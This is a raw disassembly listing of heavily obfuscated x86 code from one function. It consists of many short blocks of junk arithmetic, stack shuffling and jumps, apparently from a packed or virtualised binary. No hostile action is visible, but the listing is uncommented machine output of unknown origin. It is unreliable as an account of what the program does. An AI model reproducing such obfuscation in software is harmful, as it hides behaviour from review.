push esp jmp loc_59A302 ; --------------------------------------------------------------------------- loc_59A846: ; CODE XREF: sub_580566+2125Aj xor eax, ebx push 6F16h mov [esp-1Eh+arg_16], ebx mov ebx, 68931CAh xchg esi, ebx push esi push edx pop esi jmp loc_59FCBE ; --------------------------------------------------------------------------- loc_59A85F: ; CODE XREF: sub_580566+1FC94j mov dh, al pop eax pop ecx pop ebx mov bl, dh push dword ptr [esp+0] pop edx add esp, 4 mov eax, [esp-2Ah+arg_20+2] jmp loc_59433A ; --------------------------------------------------------------------------- loc_59A875: ; CODE XREF: sub_580566+18F1Aj push 1381C3Ah mov eax, [esp-38h+arg_30] add esp, 4 xchg eax, ebp inc ebp xchg eax, ebp add eax, 5A07FEB4h mov ecx, eax pop eax add ecx, 513E199Ch add ecx, 2D317FAFh jmp loc_59F49E ; --------------------------------------------------------------------------- loc_59A89C: ; CODE XREF: sub_580566+14A91j mov ecx, [esp-5Ah+arg_52] jmp loc_594B19 ; --------------------------------------------------------------------------- loc_59A8A4: ; CODE XREF: sub_580566+2376Aj mov ecx, esp push eax jmp loc_5A3569 ; --------------------------------------------------------------------------- loc_59A8AC: ; CODE XREF: sub_580566+1EDE8j xor ebp, 79562853h shl ebp, 6 sub ebp, 9D203C25h xor edx, ebp jmp loc_5A2FFD ; --------------------------------------------------------------------------- loc_59A8C2: ; CODE XREF: sub_580566+18372j or eax, 3EA94A3Ah sub eax, 72B40BAAh mov edx, eax pop eax add [esp-3Ch+arg_3C], edx pop edx push 7DC4h jmp loc_5919F1 ; --------------------------------------------------------------------------- loc_59A8DE: ; CODE XREF: sub_580566+22FFEj not edi jmp loc_59160C ; --------------------------------------------------------------------------- loc_59A8E5: ; CODE XREF: sub_580566+18CDAj add edx, ebp add edx, 34013C1Eh pop ebp jmp loc_5A4209 ; --------------------------------------------------------------------------- loc_59A8F3: ; CODE XREF: sub_580566+127C8j mov eax, 4 jmp loc_592F2F ; --------------------------------------------------------------------------- loc_59A8FD: ; CODE XREF: sub_580566+236ADj add ax, di jmp loc_598DAC ; --------------------------------------------------------------------------- loc_59A905: ; CODE XREF: sub_580566+1D03Aj push ebx mov ebx, 490222B6h mov ecx, ebx pop ebx jmp loc_591B7C ; --------------------------------------------------------------------------- loc_59A913: ; CODE XREF: sub_580566+10DFCj xor eax, edi pop edi jmp loc_5964EF ; --------------------------------------------------------------------------- loc_59A91B: ; CODE XREF: sub_580566+1229Cj push ebx jmp loc_5A2B5D ; --------------------------------------------------------------------------- loc_59A921: ; CODE XREF: sub_580566+1BDDEj add [esp-2Ah+arg_24+2], 1C624769h sub [esp-2Ah+arg_24+2], esi sub [esp-2Ah+arg_24+2], 1C624769h mov esi, [esp-2Ah+arg_20+2] add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59A940: ; CODE XREF: sub_580566+225ADj mov [esp-2Eh+arg_24+2], ecx push 20674678h jmp loc_59A2DB ; --------------------------------------------------------------------------- loc_59A94D: ; CODE XREF: sub_580566+197EBj push dx mov dh, 0EAh not dh jmp loc_596BA5 ; --------------------------------------------------------------------------- loc_59A958: ; CODE XREF: sub_580566+1D549j push ebx jmp loc_592648 ; --------------------------------------------------------------------------- loc_59A95E: ; CODE XREF: sub_580566+16D21j sub esi, 4D472888h sub esi, 7AD702D7h add esi, edx add esi, 7AD702D7h add esi, 4D472888h pop edx xchg esi, [esp-56h+arg_4E] pop esp push ebp push 3A3h mov [esp-52h+arg_48+2], esi mov esi, 536E1C04h jmp loc_59F505 ; --------------------------------------------------------------------------- loc_59A990: ; CODE XREF: sub_580566+118E9j mov ebx, [esp-5Ah+arg_52] add esp, 4 add al, cl jmp loc_5A4C87 ; --------------------------------------------------------------------------- push [esp-5Eh+arg_56] jmp loc_596A4F ; --------------------------------------------------------------------------- loc_59A9A5: ; CODE XREF: sub_580566+21842j push 7CA9h mov [esp-56h+arg_4E], esi push [esp-56h+arg_52] pop esi pop [esp-56h+arg_4E] pop esp push 33C0h mov [esp-5Ah+arg_52], edi sub esp, 4 mov [esp-56h+arg_4E], edx push 5C550A84h jmp loc_5914BB ; --------------------------------------------------------------------------- loc_59A9CE: ; CODE XREF: sub_580566+1E18Cj or eax, 50F64CC5h add eax, 2C09B13Fh add ebp, eax jmp loc_59F87C ; --------------------------------------------------------------------------- loc_59A9DF: ; CODE XREF: sub_580566+12E96j push 3E1Eh mov [esp-2Eh+arg_24+2], edx mov dh, 4Dh xor dh, 89h xor al, dh pop edx or al, 11h sub al, 6Eh mov ch, al pop eax jmp loc_59F353 ; --------------------------------------------------------------------------- loc_59A9FB: ; CODE XREF: sub_580566+1F0C8j push [esp-36h+arg_2C+2] pop eax add esp, 4 jmp loc_5A03AF ; --------------------------------------------------------------------------- loc_59AA0A: ; CODE XREF: sub_580566+153A4j pop esp shr word ptr [esp-42h+arg_38+2], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59AA15: ; CODE XREF: sub_580566+1164Fj push ecx mov ecx, 4A084233h shl ecx, 3 shr ecx, 8 shl ecx, 7 jmp loc_59B20A ; --------------------------------------------------------------------------- loc_59AA29: ; CODE XREF: sub_580566+1849Ej add ecx, 4 jmp loc_5987FF ; --------------------------------------------------------------------------- loc_59AA34: ; CODE XREF: sub_580566+19E97j add esi, 422BD9F0h mov edi, esi pop esi sub edx, 3F4E3A50h sub edx, 59BE3114h sub edx, 1C83279Fh add edx, edi add edx, 1C83279Fh jmp loc_5A3AD6 ; --------------------------------------------------------------------------- loc_59AA5C: ; CODE XREF: sub_580566+23CC8j push 4E89h mov [esp-3Ch+arg_34], ebp push esp jmp loc_590B18 ; --------------------------------------------------------------------------- loc_59AA6A: ; CODE XREF: sub_580566+1B006j mov [esp-38h+arg_30], ecx jmp loc_5927E2 ; --------------------------------------------------------------------------- loc_59AA72: ; CODE XREF: sub_580566+1B16Dj and esi, edx jmp loc_59C244 ; --------------------------------------------------------------------------- loc_59AA79: ; CODE XREF: sub_580566+23D58j mov [esp-38h+arg_30], ebx jmp loc_5A06CA ; --------------------------------------------------------------------------- loc_59AA81: ; CODE XREF: sub_580566+11D86j push ecx mov ecx, 4 add ebp, ecx pop ecx push 39A0h jmp loc_59FAD9 ; --------------------------------------------------------------------------- loc_59AA94: ; CODE XREF: sub_580566+24FB4j push esi mov esi, esp push ebx jmp loc_5961AB ; --------------------------------------------------------------------------- loc_59AA9D: ; CODE XREF: sub_580566+15F0Bj pop ecx push [esp-36h+arg_2C+2] pop ebx sub esp, 4 jmp loc_598BC9 ; --------------------------------------------------------------------------- loc_59AAAA: ; CODE XREF: sub_580566+12CFDj shl dl, 5 sub dl, 0B7h add bh, dl pop edx mov dl, bh pop ebx shr dl, 7 add dl, 97h push ebx push ecx jmp loc_599632 ; --------------------------------------------------------------------------- loc_59AAC3: ; CODE XREF: sub_580566+1F836j sub edx, 9763F2Eh sub edx, ebx add edx, 9763F2Eh pop ebx push esi jmp loc_5A48B3 ; --------------------------------------------------------------------------- loc_59AAD8: ; CODE XREF: sub_580566+170F5j pop edx push edx push ebx push edi mov edi, 6D0E71C0h add edi, 92F18E42h jmp loc_59B888 ; --------------------------------------------------------------------------- loc_59AAEC: ; CODE XREF: sub_580566+1CFF3j add eax, 70B9668Bh add eax, 5A831C5Dh jmp loc_5943B2 ; --------------------------------------------------------------------------- loc_59AAFB: ; CODE XREF: sub_580566+10A0Bj mov ebp, eax pop eax jmp loc_5A567A ; --------------------------------------------------------------------------- loc_59AB03: ; CODE XREF: sub_580566+1278Bj mov ah, bh jmp loc_5A0001 ; --------------------------------------------------------------------------- loc_59AB0A: ; CODE XREF: sub_580566+1635Ej xchg ebp, edi push edx mov edx, 1 jmp loc_599389 ; --------------------------------------------------------------------------- loc_59AB17: ; CODE XREF: sub_580566+110FCj push esp jmp loc_59F685 ; --------------------------------------------------------------------------- loc_59AB1D: ; CODE XREF: sub_580566+23AAFj push edx mov edx, 47623452h xor edx, edi xor edi, edx xor edx, edi not edi xchg edi, edx sub edx, 130A2D95h jmp loc_59D2D7 ; --------------------------------------------------------------------------- loc_59AB38: ; CODE XREF: sub_580566+18756j add esp, 4 xor eax, [esp-56h+arg_4E] jmp loc_59B5F7 ; --------------------------------------------------------------------------- loc_59AB43: ; CODE XREF: sub_580566+215B8j push ebx mov ebx, 0B761968h mov edx, 0D56F483h jmp loc_596205 ; --------------------------------------------------------------------------- loc_59AB53: ; CODE XREF: sub_580566+20DC9j add edi, 4 add edi, 4 xchg edi, [esp-52h+arg_48+2] pop esp jmp loc_59E4E8 ; --------------------------------------------------------------------------- loc_59AB68: ; CODE XREF: sub_580566+19073j push [esp-2Eh+arg_28+2] jmp loc_599F20 ; --------------------------------------------------------------------------- loc_59AB71: ; CODE XREF: sub_580566+178F1j xor edx, 1CD270C9h mov edi, edx jmp loc_592E63 ; --------------------------------------------------------------------------- loc_59AB7E: ; CODE XREF: sub_580566+16F93j pop edi jmp loc_5A5541 ; --------------------------------------------------------------------------- loc_59AB84: ; CODE XREF: sub_580566+1270Cj pop ax push eax mov al, 27h xor dh, al pop eax jmp loc_5A4212 ; --------------------------------------------------------------------------- loc_59AB91: ; CODE XREF: sub_580566+20C92j add esi, 4 add esi, 4 xchg esi, [esp-3Eh+arg_34+2] jmp loc_596DC5 ; --------------------------------------------------------------------------- loc_59ABA5: ; CODE XREF: sub_580566+240A7j push 12D7h mov [esp-3Ah+arg_30+2], eax mov eax, 4 jmp loc_5A1EF7 ; --------------------------------------------------------------------------- loc_59ABB7: ; CODE XREF: sub_580566+20E4Ej add esi, edx jmp loc_59E9A7 ; --------------------------------------------------------------------------- loc_59ABBE: ; CODE XREF: sub_580566+20A4Fj mov esp, [esp-3Ah+arg_30+2] mov [esp-3Ah+arg_30+2], esp push eax mov eax, 4 add [esp-36h+arg_30+2], eax pop eax mov ecx, [esp-3Ah+arg_30+2] push eax mov eax, esp jmp loc_59D694 ; --------------------------------------------------------------------------- loc_59ABDA: ; CODE XREF: sub_580566+24A35j add eax, edx jmp loc_5A3059 ; --------------------------------------------------------------------------- loc_59ABE1: ; CODE XREF: sub_580566+1E845j and ecx, 0A25484Eh add ecx, 18016229h mov esi, ecx pop ecx add edx, esi pop esi mov ebp, edx pop edx not ebp jmp loc_5A28E3 ; --------------------------------------------------------------------------- loc_59ABFD: ; DATA XREF: sub_580566+10296o mov cx, word ptr [esp-42h+arg_38+2] push 0E84h jmp loc_592229 ; --------------------------------------------------------------------------- loc_59AC0B: ; CODE XREF: sub_580566+12A6Fj sub edi, 79A5028Fh add edi, 79063A00h jmp loc_59A625 ; --------------------------------------------------------------------------- loc_59AC1C: ; CODE XREF: sub_580566+16CA0j sub esp, 4 push esp pop [esp-20h+arg_16+2] add [esp-24h+arg_1A+2], 4 jmp loc_5A1314 ; --------------------------------------------------------------------------- loc_59AC2F: ; CODE XREF: sub_580566+16C8Fj pop ebx jmp loc_5A3B7B ; --------------------------------------------------------------------------- loc_59AC35: ; CODE XREF: sub_580566+1BA46j pop ebp add ebx, 2AA2BBDh jmp loc_59E9D1 ; --------------------------------------------------------------------------- loc_59AC41: ; CODE XREF: sub_580566+2052Cj add eax, ebp jmp loc_5A2196 ; --------------------------------------------------------------------------- loc_59AC48: ; CODE XREF: sub_580566+19EF4j mov [esp-48h+arg_40], ebp jmp loc_59C02B ; --------------------------------------------------------------------------- loc_59AC50: ; CODE XREF: sub_580566+16649j add bl, 8Dh add bl, al jmp loc_59D21E ; --------------------------------------------------------------------------- loc_59AC5A: ; CODE XREF: sub_580566+16A51j mov bl, al jmp loc_59B6B1 ; --------------------------------------------------------------------------- loc_59AC61: ; CODE XREF: sub_580566+14346j add edi, 4 add edi, 4 xchg edi, [esp-34h+arg_2C] pop esp push eax push 40h push [esp-30h+arg_28] push [esp-2Ch+arg_24] pop eax push ecx mov ecx, esp push esi mov esi, 46D05252h inc esi xor esi, 46D05257h add ecx, esi pop esi add ecx, 4 xchg ecx, [esp-28h+arg_20] pop esp push 0DE4h jmp loc_5A37E2 ; --------------------------------------------------------------------------- loc_59AC9F: ; CODE XREF: sub_580566+1ED9Fj mov [esp-28h+arg_20], ecx push esp mov ecx, [esp-24h+arg_1A+2] add esp, 4 push 1F20h jmp loc_59A334 ; --------------------------------------------------------------------------- loc_59ACB3: ; CODE XREF: sub_580566+1657Cj pop ecx pop ebp push 3A12h mov [esp-36h+arg_2C+2], esi push eax mov eax, 2E3362AAh push 731Bh mov [esp-2Eh+arg_24+2], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_59FD45 ; --------------------------------------------------------------------------- loc_59ACDE: ; CODE XREF: sub_580566+2543Fj push esi jmp loc_592863 ; --------------------------------------------------------------------------- loc_59ACE4: ; CODE XREF: sub_580566+1E501j mov ebp, 18B158F5h mov eax, 0FDE31A5Bh jmp loc_59BB26 ; --------------------------------------------------------------------------- loc_59ACF3: ; CODE XREF: sub_580566+18ABBj mov ebp, esp add ebp, 4 sub esp, 4 mov [esp-0Ah+arg_4+2], edx jmp loc_5957B2 ; --------------------------------------------------------------------------- loc_59AD09: ; CODE XREF: sub_580566+20108j xor [esp-0Ah+arg_4+2], 730F41C0h pop eax xor eax, 730F41C0h pop ebp mov esi, 1A422E20h xor esi, eax pop eax push esi mov esi, 65CA7E77h add ebx, esi pop esi add ebx, esi sub ebx, 65CA7E77h jmp loc_5969D0 ; --------------------------------------------------------------------------- loc_59AD35: ; CODE XREF: sub_580566+22535j add edx, 4 add edx, 4 xchg edx, [esp-16h+arg_E] pop esp push 65E8h mov [esp-16h+arg_E], ebx mov ebx, 2 jmp loc_5A20AC ; --------------------------------------------------------------------------- push [esp-16h+arg_E] jmp loc_59F436 ; --------------------------------------------------------------------------- loc_59AD5C: ; CODE XREF: sub_580566+154F7j push [esp-1Ch+arg_12+2] pop edi add esp, 4 add ebx, 0D60308Ch jmp loc_59AF73 ; --------------------------------------------------------------------------- loc_59AD6E: ; CODE XREF: sub_580566+13CF5j sub ebx, 6B3A851Ch jmp loc_5A4C9B ; --------------------------------------------------------------------------- loc_59AD79: ; CODE XREF: sub_580566+18DA3j push eax mov eax, 187062B2h mov ebp, eax pop eax sub ebp, 3AA1207Eh sub ebp, 58A046FEh jmp loc_590C7D ; --------------------------------------------------------------------------- loc_59AD93: ; CODE XREF: sub_580566+1C99Ej mov dl, cl jmp loc_5994F4 ; --------------------------------------------------------------------------- loc_59AD9A: ; CODE XREF: sub_580566+145D0j pop eax sub ebx, edi pop edi xor ebx, [esp-58h+arg_4E+2] xor [esp-58h+arg_4E+2], ebx xor ebx, [esp-58h+arg_4E+2] mov esp, [esp-58h+arg_4E+2] mov [esp-58h+arg_4E+2], edx push eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59ADB4: ; CODE XREF: sub_580566+1CA69j sub esp, 4 mov [esp-4Ch+arg_44], ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp-4Ch+arg_44] jmp loc_598FC5 ; --------------------------------------------------------------------------- loc_59ADCD: ; CODE XREF: sub_580566+1EFC3j sub esp, 4 mov [esp-48h+arg_40], eax mov eax, 0E0C9BBB9h add ebp, 26447CE9h sub ebp, eax jmp loc_59F552 ; --------------------------------------------------------------------------- loc_59ADE5: ; CODE XREF: sub_580566+251B1j push [esp-48h+arg_40] mov ebx, [esp-44h+arg_3C] add esp, 4 push edx jmp loc_595774 ; --------------------------------------------------------------------------- loc_59ADF4: ; CODE XREF: sub_580566+2006Dj add esp, 4 push 3E44h mov [esp-44h+arg_3C], ecx jmp loc_591A08 ; --------------------------------------------------------------------------- loc_59AE04: ; CODE XREF: sub_580566+1FA09j mov esi, 339E4834h jmp loc_5A06F0 ; --------------------------------------------------------------------------- loc_59AE0E: ; DATA XREF: sub_580566+1045Eo mov cx, word ptr [esp-44h+arg_3C] sub esp, 4 jmp loc_591431 ; --------------------------------------------------------------------------- loc_59AE1A: ; CODE XREF: sub_580566+1EAC3j push esi push esp jmp loc_59705C ; --------------------------------------------------------------------------- loc_59AE21: ; CODE XREF: sub_580566+165AAj mov [esp-42h+arg_38+2], ecx sub esp, 4 mov [esp-3Eh+arg_34+2], esp add [esp-3Eh+arg_34+2], 4 pop ecx push edi jmp loc_591BF9 ; --------------------------------------------------------------------------- loc_59AE38: ; CODE XREF: sub_580566+1EFD4j push edi mov edi, 5EE8187Fh xor edi, 38BC27A9h mov ebx, edi push [esp-3Ah+arg_30+2] jmp loc_5A0C20 ; --------------------------------------------------------------------------- loc_59AE4E: ; CODE XREF: sub_580566+18995j mov si, 0B0FDh sub si, bp pop ebp add bx, si pop si pop si movzx eax, ax push 152h mov [esp+0], ecx mov ecx, esp jmp loc_5A1AFF ; --------------------------------------------------------------------------- loc_59AE6F: ; CODE XREF: sub_580566+2009Bj mov [esp+0], edx push 0B777795h pop edx xor edx, 5A442FBAh shr edx, 4 sub esp, 4 jmp loc_591EB0 ; --------------------------------------------------------------------------- loc_59AE89: ; CODE XREF: sub_580566+1BEF2j pop [esp-22h+arg_1A] jmp loc_59C3B9 ; --------------------------------------------------------------------------- loc_59AE91: ; CODE XREF: sub_580566+1BB6Ej xor ch, 32h jmp loc_59B7D6 ; --------------------------------------------------------------------------- loc_59AE99: ; CODE XREF: sub_580566+191E2j push ecx mov ecx, esp jmp loc_5976C7 ; --------------------------------------------------------------------------- loc_59AEA1: ; CODE XREF: sub_580566+10782j add esp, 4 jmp loc_5A0F72 ; --------------------------------------------------------------------------- loc_59AEA9: ; CODE XREF: sub_580566+1CC77j xor al, bl push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-46h+arg_3C+2] pop esp mov [esp-4Ah+arg_40+2], edx push ecx push ebx mov bh, 0A0h mov ch, 32h xor ch, bh push [esp-42h+arg_38+2] pop ebx add esp, 4 shl ch, 8 push edx mov dh, ch not dh mov ch, dh pop edx push 46ADh mov [esp-42h+arg_38+2], edx jmp loc_59C69A ; --------------------------------------------------------------------------- loc_59AEE4: ; CODE XREF: sub_580566+2116Aj add [esp-42h+arg_3C+2], edx pop edx pop eax jmp loc_5960D2 ; --------------------------------------------------------------------------- loc_59AEEF: ; CODE XREF: sub_580566+1B695j mov esi, [esp-4Ah+arg_40+2] add esp, 4 add eax, 5EA7FF9h sub eax, edx push ecx jmp loc_59B1BE ; --------------------------------------------------------------------------- loc_59AF02: ; CODE XREF: sub_580566+1715Cj add ebp, esi pop esi xchg ebp, [esp+0] pop esp push small word ptr [eax] jmp loc_590A9B ; --------------------------------------------------------------------------- mov cx, word ptr [esp-28h+arg_20] jmp loc_59F15E ; --------------------------------------------------------------------------- loc_59AF1A: ; CODE XREF: sub_580566+10750j xchg ebp, [esp-46h+arg_3C+2] pop esp jmp loc_5A227E ; --------------------------------------------------------------------------- loc_59AF23: ; CODE XREF: sub_580566+1F385j sub [esp-4Ah+arg_40+2], eax add [esp-4Ah+arg_40+2], 6A5D22B5h pop eax add eax, 61DB3DCDh jmp loc_599B31 ; --------------------------------------------------------------------------- loc_59AF38: ; CODE XREF: sub_580566+13DA4j push edi jmp loc_59FBFE ; --------------------------------------------------------------------------- loc_59AF3E: ; CODE XREF: sub_580566+123A3j add esp, 4 sub ebp, 404E3C87h jmp loc_591205 ; --------------------------------------------------------------------------- loc_59AF4F: ; CODE XREF: sub_580566+1AE3Cj add esi, ebx jmp loc_595BEC ; --------------------------------------------------------------------------- loc_59AF56: ; CODE XREF: sub_580566+1E078j xor dl, 5Bh jmp loc_5A397B ; --------------------------------------------------------------------------- loc_59AF5E: ; CODE XREF: sub_580566+1F7F0j sub ebx, 6BD2188Eh push ebp push esi mov esi, 65E16DF4h mov ebp, esi pop esi jmp loc_5A44D0 ; --------------------------------------------------------------------------- loc_59AF73: ; CODE XREF: sub_580566+1A803j add ebx, eax push ecx mov ecx, 0D60308Ch sub ebx, 2E3E0ADEh add ebx, 42D65758h sub ebx, ecx sub ebx, 42D65758h add ebx, 2E3E0ADEh pop ecx push ecx mov ecx, 13976DEh sub ebx, ecx mov ecx, [esp-1Ch+arg_12+2] add esp, 4 jmp loc_5A1642 ; --------------------------------------------------------------------------- loc_59AFA9: ; CODE XREF: sub_580566+24FABj mov ah, 0ACh xor ah, cl jmp loc_59B6A9 ; --------------------------------------------------------------------------- loc_59AFB2: ; CODE XREF: sub_580566+13174j neg dl push ebx mov bh, 0EEh and bh, 7Ch sub bh, 0B4h sub bh, 0F9h xor dl, bh pop ebx add dl, 27h sub dl, 5Dh sub bl, dl pop edx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59AFD7: ; CODE XREF: sub_580566+22630j pop edi sub esp, 4 jmp loc_593355 ; --------------------------------------------------------------------------- loc_59AFE3: ; CODE XREF: sub_580566+2389Cj add esi, ebx jmp loc_5917C9 ; --------------------------------------------------------------------------- loc_59AFEA: ; CODE XREF: sub_580566+1148Ej mov ebp, 7F816E8h add [esp-3Ah+arg_38+2], 66955F7Bh add [esp-3Ah+arg_38+2], ebp jmp loc_59A682 ; --------------------------------------------------------------------------- loc_59B000: ; CODE XREF: sub_580566+1D9BEj sub edx, 4 jmp loc_5921E4 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-3Ah+arg_30+2] push 1E61h jmp loc_5A2D39 ; --------------------------------------------------------------------------- loc_59B019: ; CODE XREF: sub_580566+134DFj push ebp jmp loc_595430 ; --------------------------------------------------------------------------- loc_59B01F: ; CODE XREF: sub_580566+1CE8Ej mov byte ptr [esp-52h+arg_4E], bh push [esp-52h+arg_48+2] pop ebx jmp loc_599837 ; --------------------------------------------------------------------------- loc_59B02C: ; CODE XREF: sub_580566+23031j pop ebx push 4EDEh mov [esp-52h+arg_48+2], esi mov esi, 5A7264E6h jmp loc_59E0D7 ; --------------------------------------------------------------------------- loc_59B03F: ; CODE XREF: sub_580566+1C758j push ecx push esp mov ecx, [esp-4Ah+arg_40+2] add esp, 4 push edx mov edx, 17336DA0h jmp loc_598004 ; --------------------------------------------------------------------------- loc_59B052: ; CODE XREF: sub_580566+1DE3Dj pop esp shl edx, 3 xchg ebx, edx not ebx xchg ebx, edx push 440Ch jmp loc_5A3A53 ; --------------------------------------------------------------------------- loc_59B066: ; CODE XREF: sub_580566+12962j pop edi push edi jmp loc_59F07B ; --------------------------------------------------------------------------- loc_59B06D: ; CODE XREF: sub_580566+1E497j push ebp jmp loc_59F453 ; --------------------------------------------------------------------------- loc_59B073: ; CODE XREF: sub_580566+24337j pop esi add esp, 4 shr edx, 6 xor edx, 528D698Bh sub edx, 52DE18BDh jmp loc_59508E ; --------------------------------------------------------------------------- loc_59B08B: ; CODE XREF: sub_580566+22EE0j sub esp, 4 mov [esp-3Ch+arg_34], esi push ecx push esp pop ecx add ecx, 4 sub ecx, 4 jmp loc_5A488E ; --------------------------------------------------------------------------- loc_59B0A5: ; CODE XREF: sub_580566+1F0F1j and ebp, 39F374ACh xor ebp, 0FF4214Eh sub ebx, ebp pop ebp jmp loc_59603D ; --------------------------------------------------------------------------- loc_59B0B9: ; CODE XREF: sub_580566+18357j add esp, 4 shr ebx, 7 add ebx, 7CB003D1h jmp loc_59B730 ; --------------------------------------------------------------------------- loc_59B0CA: ; CODE XREF: sub_580566+1C6A2j add esi, eax pop eax mov edx, [esp-40h+arg_38] add esp, 4 xor esi, [esp-44h+arg_3C] jmp loc_59360A ; --------------------------------------------------------------------------- loc_59B0DB: ; CODE XREF: sub_580566+1843Fj xor eax, 298440E6h push 3F6Ch mov [esp-1Ah+arg_12], edx push ebx mov ebx, 3AC46611h push ebx pop edx mov ebx, [esp-16h+arg_E] push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_593825 ; --------------------------------------------------------------------------- loc_59B10A: ; DATA XREF: sub_580566+104AAo neg byte ptr [esp-12h+arg_A] pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59B113: ; CODE XREF: sub_580566+15BB6j xor edx, 0A39C95C4h mov ebx, edx mov edx, [esp-2Ah+arg_20+2] add esp, 4 or esi, ebx pop ebx add esi, 0EF70ED18h sub ecx, esi push [esp-32h+arg_28+2] pop esi jmp loc_592A27 ; --------------------------------------------------------------------------- loc_59B138: ; CODE XREF: sub_580566+17A82j pop eax add ebx, edx jmp loc_5958D4 ; --------------------------------------------------------------------------- loc_59B140: ; CODE XREF: sub_580566+12BADj push ebx jmp loc_59684C ; --------------------------------------------------------------------------- loc_59B146: ; CODE XREF: sub_580566+23BEAj push edx push 2E19h mov [esp-30h+arg_28], esi jmp loc_5A16D5 ; --------------------------------------------------------------------------- loc_59B154: ; CODE XREF: sub_580566+1BC51j push esp jmp loc_5A1C53 ; --------------------------------------------------------------------------- loc_59B15A: ; CODE XREF: sub_580566+14B2Aj pop edx and eax, esi push [esp-30h+arg_28] mov esi, [esp-2Ch+arg_24] jmp loc_594C24 ; --------------------------------------------------------------------------- push 7955h mov [esp-28h+arg_20], esp sub esp, 4 mov [esp-24h+arg_1A+2], ebx push 4 push [esp-20h+arg_16+2] pop ebx jmp loc_595DA3 ; --------------------------------------------------------------------------- loc_59B187: ; CODE XREF: sub_580566+19618j add si, 0C406h jmp loc_59A75E ; --------------------------------------------------------------------------- loc_59B191: ; CODE XREF: sub_580566+1CB44j mov esp, [esp-4Ch+arg_44] jmp loc_5A4CDD ; --------------------------------------------------------------------------- loc_59B199: ; CODE XREF: sub_580566+12973j mov edx, [esp-4Eh+arg_44+2] add esp, 4 add edx, 4 jmp loc_59CE57 ; --------------------------------------------------------------------------- loc_59B1AD: ; CODE XREF: sub_580566+1F6ACj push eax mov eax, 4 add ebp, 156C5426h jmp loc_59ED98 ; --------------------------------------------------------------------------- loc_59B1BE: ; CODE XREF: sub_580566+1A997j mov ecx, 5EA7FF9h jmp loc_59FA3A ; --------------------------------------------------------------------------- loc_59B1C8: ; CODE XREF: sub_580566+23D80j add edx, 0D55EE6B8h mov eax, edx mov edx, [esp-4Ah+arg_40+2] add esp, 4 add edx, eax jmp loc_59C4B3 ; --------------------------------------------------------------------------- loc_59B1DD: ; CODE XREF: sub_580566+16477j xor eax, ebx push esi sub esp, 4 mov [esp-3Ah+arg_30+2], esi jmp loc_591D59 ; --------------------------------------------------------------------------- loc_59B1EB: ; CODE XREF: sub_580566+22BC5j mov cl, 1Dh sub dh, cl pop cx mov cx, word ptr [esp-3Ch+arg_34] add esp, 2 xor dh, 67h jmp loc_5A3043 ; --------------------------------------------------------------------------- loc_59B203: ; CODE XREF: sub_580566+1C184j not ebx jmp loc_598CC1 ; --------------------------------------------------------------------------- loc_59B20A: ; CODE XREF: sub_580566+1A4BEj push ebx jmp loc_595581 ; --------------------------------------------------------------------------- loc_59B210: ; CODE XREF: sub_580566+1F4CFj mov edi, 7E29522Eh dec edi sub edi, 0C871058h jmp loc_5981AD ; --------------------------------------------------------------------------- loc_59B221: ; CODE XREF: sub_580566+1FC89j push ecx mov ecx, 40810D0Bh and ecx, 69AA22C0h dec ecx push ebx mov ebx, 20D321F6h sub ecx, ebx jmp loc_59DC30 ; --------------------------------------------------------------------------- loc_59B23B: ; CODE XREF: sub_580566+14F5Ej push edx mov dl, 93h xor ah, dl jmp loc_593717 ; --------------------------------------------------------------------------- loc_59B245: ; CODE XREF: sub_580566+12134j push edx xor [esp-4Eh+arg_44+2], 67E12583h pop ebp xor ebp, 67E12583h pop edx pop esi push ebx mov ebx, 392C3851h sub ebp, ebx mov ebx, [esp-56h+arg_4E] add esp, 4 push 4B80h mov [esp-56h+arg_4E], edi jmp loc_59A54F ; --------------------------------------------------------------------------- loc_59B274: ; CODE XREF: sub_580566+107A7j mov ebx, 6B6561D9h xor ebx, 4F0A37E4h inc ebx sub ebx, 19716767h add ebx, 39172629h or ebp, ebx pop ebx jmp loc_597F6D ; --------------------------------------------------------------------------- loc_59B294: ; CODE XREF: sub_580566+1E4B6j mov cl, dl mov ah, cl jmp loc_5A5224 ; --------------------------------------------------------------------------- loc_59B29D: ; CODE XREF: sub_580566+1C613j push 6059h mov [esp-42h+arg_38+2], edi push esp pop edi sub esp, 4 jmp loc_59FB7A ; --------------------------------------------------------------------------- loc_59B2AF: ; DATA XREF: sub_580566+104C2o mov ax, word ptr [esp-3Eh+arg_34+2] sub esp, 4 mov [esp-3Ah+arg_30+2], esi push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_5A22E5 ; --------------------------------------------------------------------------- loc_59B2CB: ; CODE XREF: sub_580566+19312j mov ebp, [esp-32h+arg_28+2] add esp, 4 not edi push ebp mov ebp, 388D693Bh jmp loc_5A32D5 ; --------------------------------------------------------------------------- loc_59B2DE: ; CODE XREF: sub_580566+18713j xor [esp-36h+arg_2C+2], edi xor edi, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] jmp loc_599AD3 ; --------------------------------------------------------------------------- loc_59B2EC: ; CODE XREF: sub_580566+21F73j shr ebx, 5 shl ebx, 5 dec ebx add ebx, 0F713D8A0h sub esi, ebx mov ebx, [esp-36h+arg_2C+2] add esp, 4 jmp loc_5960B0 ; --------------------------------------------------------------------------- loc_59B306: ; CODE XREF: sub_580566+249F2j add ebx, 4 xchg ebx, [esp-3Ah+arg_30+2] jmp loc_595934 ; --------------------------------------------------------------------------- loc_59B311: ; CODE XREF: sub_580566+214CEj add edi, 4 push ebx mov ebx, 36FB1BBFh shr ebx, 5 jmp loc_593A4A ; --------------------------------------------------------------------------- loc_59B325: ; CODE XREF: sub_580566+10606j push ecx mov ecx, 6CB2331Bh jmp loc_59334B ; --------------------------------------------------------------------------- loc_59B330: ; CODE XREF: sub_580566+11577j sub esi, 0D07D0159h sub ebx, esi mov esi, [esp-38h+arg_30] add esp, 4 push [esp-3Ch+arg_34] mov edx, [esp-38h+arg_30] jmp loc_594523 ; 